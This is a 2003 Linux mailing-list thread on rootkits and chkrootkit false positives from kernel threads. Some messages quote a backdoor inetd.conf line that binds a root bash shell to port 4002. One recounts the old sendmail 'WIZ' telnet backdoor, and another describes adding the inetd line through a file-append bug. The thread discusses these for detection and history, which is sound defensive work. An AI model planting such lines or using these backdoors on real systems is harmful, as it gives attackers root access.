Re: [OT] Rootkit queston

Re: [OT] Rootkit queston

[Samium Gromoff]

On Mon, 1 Dec 2003, Richard B. Johnson wrote:
> You can check for a common 'root attack', if you have inetd,
> by looking at the last few lines in /etc/inetd.conf.
> It may have some access port added that allows anybody
> who knows about it to log in as root from the network.
> It will look something like this:
>
> # End of inetd.conf.
> 4002 stream tcp nowait root /bin/bash --
>
> In this case, port 4002 will allow access to a root shell
> that has no terminal processing, but an attacker can use this
> to get complete control of your system. FYI, this is a 5-year-old
> attack, long obsolete if you have a "store-bought" distribution
> more recent.

How is it an attack?
	(in order to write to inetd.conf you need to be root already)

And if it is, what does it accomplish?
	(writing a daemon listening on a $BELOVED_PORT port is trivial)

regards, Samium Gromoff

Re: [OT] Rootkit queston

[Måns Rullgård]

Samium Gromoff <deepfire@ibe.miee.ru> writes:

>> You can check for a common 'root attack', if you have inetd,
>> by looking at the last few lines in /etc/inetd.conf.
>> It may have some access port added that allows anybody
>> who knows about it to log in as root from the network.
>> It will look something like this:
>>
>> # End of inetd.conf.
>> 4002 stream tcp nowait root /bin/bash --
>>
>> In this case, port 4002 will allow access to a root shell
>> that has no terminal processing, but an attacker can use this
>> to get complete control of your system. FYI, this is a 5-year-old
>> attack, long obsolete if you have a "store-bought" distribution
>> more recent.
>
> How is it an attack?
> 	(in order to write to inetd.conf you need to be root already)
>
> And if it is, what does it accomplish?
> 	(writing a daemon listening on a $BELOVED_PORT port is trivial)

Suppose you found a bug in a web server that would make the server
append arbitrary data to existing files.  Adding that line to
inetd.conf would be one way to use that bug to gain full control over
the machine.

-- 
Måns Rullgård
mru@kth.se

Re: [OT] Rootkit queston

[Doug McNaught]

mru@kth.se (Måns Rullgård) writes:

> Suppose you found a bug in a web server that would make the server
> append arbitrary data to existing files.  Adding that line to
> inetd.conf would be one way to use that bug to gain full control over
> the machine.

But the inetd.conf line itself isn't an "attack"; it's a backdoor put
in after an attack is successful.

Just terminology...  :)

-Doug

Re: [OT] Rootkit queston

[Christian]

Samium Gromoff wrote:
> On Mon, 1 Dec 2003, Richard B. Johnson wrote:
> 
>>You can check for a common 'root attack', if you have inetd,
>>by looking at the last few lines in /etc/inetd.conf.
>>It may have some access port added that allows anybody
>>who knows about it to log in as root from the network.
>>It will look something like this:
>>
>># End of inetd.conf.
>>4002 stream tcp nowait root /bin/bash --
>>

[...]

> 
> How is it an attack?
> 	(in order to write to inetd.conf you need to be root already)

he probably meant "rootkit" instead of "root attack" and as the subject 
reveals, that's what the thread was all about.

Christian.
-- 
BOFH excuse #13:

we're waiting for [the phone company] to fix that line

Re: [OT] Rootkit queston

[Richard B. Johnson]

On Sat, 6 Dec 2003, Samium Gromoff wrote:

>
> On Mon, 1 Dec 2003, Richard B. Johnson wrote:
> > You can check for a common 'root attack', if you have inetd,
> > by looking at the last few lines in /etc/inetd.conf.
> > It may have some access port added that allows anybody
> > who knows about it to log in as root from the network.
> > It will look something like this:
> >
> > # End of inetd.conf.
> > 4002 stream tcp nowait root /bin/bash --
> >
> > In this case, port 4002 will allow access to a root shell
> > that has no terminal processing, but an attacker can use this
> > to get complete control of your system. FYI, this is a 5-year-old
> > attack, long obsolete if you have a "store-bought" distribution
> > more recent.
>
> How is it an attack?
> 	(in order to write to inetd.conf you need to be root already)
>
> And if it is, what does it accomplish?
> 	(writing a daemon listening on a $BELOVED_PORT port is trivial)
>
> regards, Samium Gromoff
>

The explaination I read about on the web was that inetd had a
developer's "back-door". If you knew about it, you could write
to inetd.conf, which had been opened r/w. Other back doors existed
in other network daemons also. The first exposed one was in
sendmail. You could do:
		telnet dumb.victum.com 25
		victum.com Sendmail 1.2.0 ready at Mon, Dec 4 1998
08:00:00 -0500
		WIZ
		220 Oh great leader.
		#

.... and you had a root-shell.

Cheers,
Dick Johnson
Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips).
            Note 96.31% of all statistics are fiction.

Re: [OT] Rootkit queston

[Albert Cahalan]

> I've been paranoid after I heard that the debian project
> got "rootkitted", I ran chkrootkit, and it said that
> it's possible that I have a LKM rootkit installed, but
> the website told me that it's possible that the LKM test
> gives wrong information with recent kernels (Running 2.4.22
> now).
>
> These processes "were hidden from ps command":
> root         0  0.0  0.0     0    0 ?        SWN  Oct28   0:01 [ksoftirqd CPU0]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   4:27 [kswapd]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   0:00 [bdflush]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   0:01 [kupdated]
>
> They seem to have PID 0, is this normal?

Yes and no. This is a kernel bug that trips up libproc.

The first number in a /proc/*/stat file should match
the Tgid number in the /proc/*/status file it goes with.
This is the POSIX PID. (note: NOT the "Pid" value)

Early 2.4.xx kernels didn't try to report this in
the /proc/*/status files at all, so libproc would
use the /proc/*/stat data instead. Recent 2.4.xx
kernels report the data. It seems that the data is
left uninitialized for the built-in kernel tasks.

Though there will be a work-around in future libproc
code, the 2.4.xx kernel ought to get fixed anyway.

> Do my system have a rootkit installed?

I don't think so.

> If it does, how do I remove it?

Boot from CD-ROM and reinstall the OS.

[OT] Rootkit queston

[Markus Hästbacka]

[-- Attachment #1: Type: text/plain, Size: 1014 bytes --]

Hello all!

I've been wondering about what is a rootkit and how it works?

I've been paranoid after I heard that the debian project got
"rootkitted", I ran chkrootkit, and it said that it's possible that I
have a LKM rootkit installed, but the website told me that it's possible
that the LKM test gives wrong information with recent kernels (Running
2.4.22 now).

These processes "were hidden from ps command":
root         0  0.0  0.0     0    0 ?        SWN  Oct28   0:01
[ksoftirqd_CPU0]
root         0  0.0  0.0     0    0 ?        SW   Oct28   4:27 [kswapd]
root         0  0.0  0.0     0    0 ?        SW   Oct28   0:00 [bdflush]
root         0  0.0  0.0     0    0 ?        SW   Oct28   0:01
[kupdated]

They seem to have PID 0, is this normal? Do my system have a rootkit
installed? If it does, how do I remove it?

Or, am I just paranoid?

Thanks for your time.
Regards,
Markus
-- 
"Software is like sex, it's better when it's free."
Markus Hästbacka <midian at ihme dot org>

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 189 bytes --]

Re: [OT] Rootkit queston

[Richard B. Johnson]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: TEXT/PLAIN; charset=X-UNKNOWN, Size: 2152 bytes --]

On Mon, 1 Dec 2003, Markus [ISO-8859-1] Hästbacka wrote:

> Hello all!
>
> I've been wondering about what is a rootkit and how it works?

It's some crap thrown together for the express purpose of
running a command-shell with root privileges on a system
being attacked. The binary load is usually fed in using
some kind of exploit such as overwriting a buffer in some
privileged program.

You fix that problem by upgrading any program found to
be susceptible to attack. If you have an old system, you
might wish to upgrade:

inetd
sendmail
ftpd
tftpd
/usr/sbin/in.*
dump
... and any other program that runs suid.

In particular, do not run inetd. Run xinetd instead.
You can check for a common 'root attack', if you have inetd,
by looking at the last few lines in /etc/inetd.conf.
It may have some access port added that allows anybody
who knows about it to log in as root from the network.

It will look something like this:

# End of inetd.conf.
4002 stream tcp nowait root /bin/bash --

In this case, port 4002 will allow access to a root shell
that has no terminal processing, but an attacker can use this
to get complete control of your system. FYI, this is a 5-year-old
attack, long obsolete if you have a "store-bought" distribution
more recent.

> I've been paranoid after I heard that the debian project got
> "rootkitted", I ran chkrootkit, and it said that it's possible that I
> have a LKM rootkit installed, but the website told me that it's possible
> that the LKM test gives wrong information with recent kernels (Running
> 2.4.22 now).
>
> These processes "were hidden from ps command":
> root         0  0.0  0.0     0    0 ?        SWN  Oct28   0:01
> [ksoftirqd_CPU0]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   4:27 [kswapd]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   0:00 [bdflush]
> root         0  0.0  0.0     0    0 ?        SW   Oct28   0:01
> [kupdated]
>
> They seem to have PID 0, is this normal?

Yes. These are kernel threads.

[SNIPPED...]

Cheers,
Dick Johnson
Penguin : Linux version 2.4.22 on an i686 machine (797.90 BogoMips).
            Note 96.31% of all statistics are fiction.

Re: [OT] Rootkit queston

[Måns Rullgård]

"Richard B. Johnson" <root@chaos.analogic.com> writes:

>> They seem to have PID 0, is this normal?
>
> Yes. These are kernel threads.

That doesn't necessarily rule out the possibility of them being evil.
If someone has taken control of the system, he could have loaded some
module that started a thread disguising itself under a common name.

-- 
Måns Rullgård
mru@kth.se

Re: [OT] Rootkit queston

[Mike Fedyk]

On Tue, Dec 02, 2003 at 12:36:07AM +0100, M?ns Rullg?rd wrote:
> "Richard B. Johnson" <root@chaos.analogic.com> writes:
> 
> >> They seem to have PID 0, is this normal?
> >
> > Yes. These are kernel threads.
> 
> That doesn't necessarily rule out the possibility of them being evil.
> If someone has taken control of the system, he could have loaded some
> module that started a thread disguising itself under a common name.

True, but it would make the thread invisible if they were going to do that...

Re: [OT] Rootkit queston

[Bernd Eckenfels]

In article <1070313094.11356.6.camel@midux> you wrote:
> I've been wondering about what is a rootkit and how it works?

it is most likely a ps bug. try "top" to verify that the process is not hidden.

Gruss
Bernd
-- 
eckes privat - http://www.eckes.org/
Project Freefire - http://www.freefire.org/

Re: [OT] Rootkit queston

[dean gaudet]

On Mon, 1 Dec 2003, Markus Hästbacka wrote:

> I've been paranoid after I heard that the debian project got
> "rootkitted", I ran chkrootkit, and it said that it's possible that I
> have a LKM rootkit installed, but the website told me that it's possible
> that the LKM test gives wrong information with recent kernels (Running
> 2.4.22 now).

chkrootkit's lkm test is fooled by kernel threads... and if your system is
under heavy fork/exit load it'll result in some false lkm positives as
well.  it shouldn't be hard to fix the first problem (in chkrootkit), but
the second has no real solution.

-dean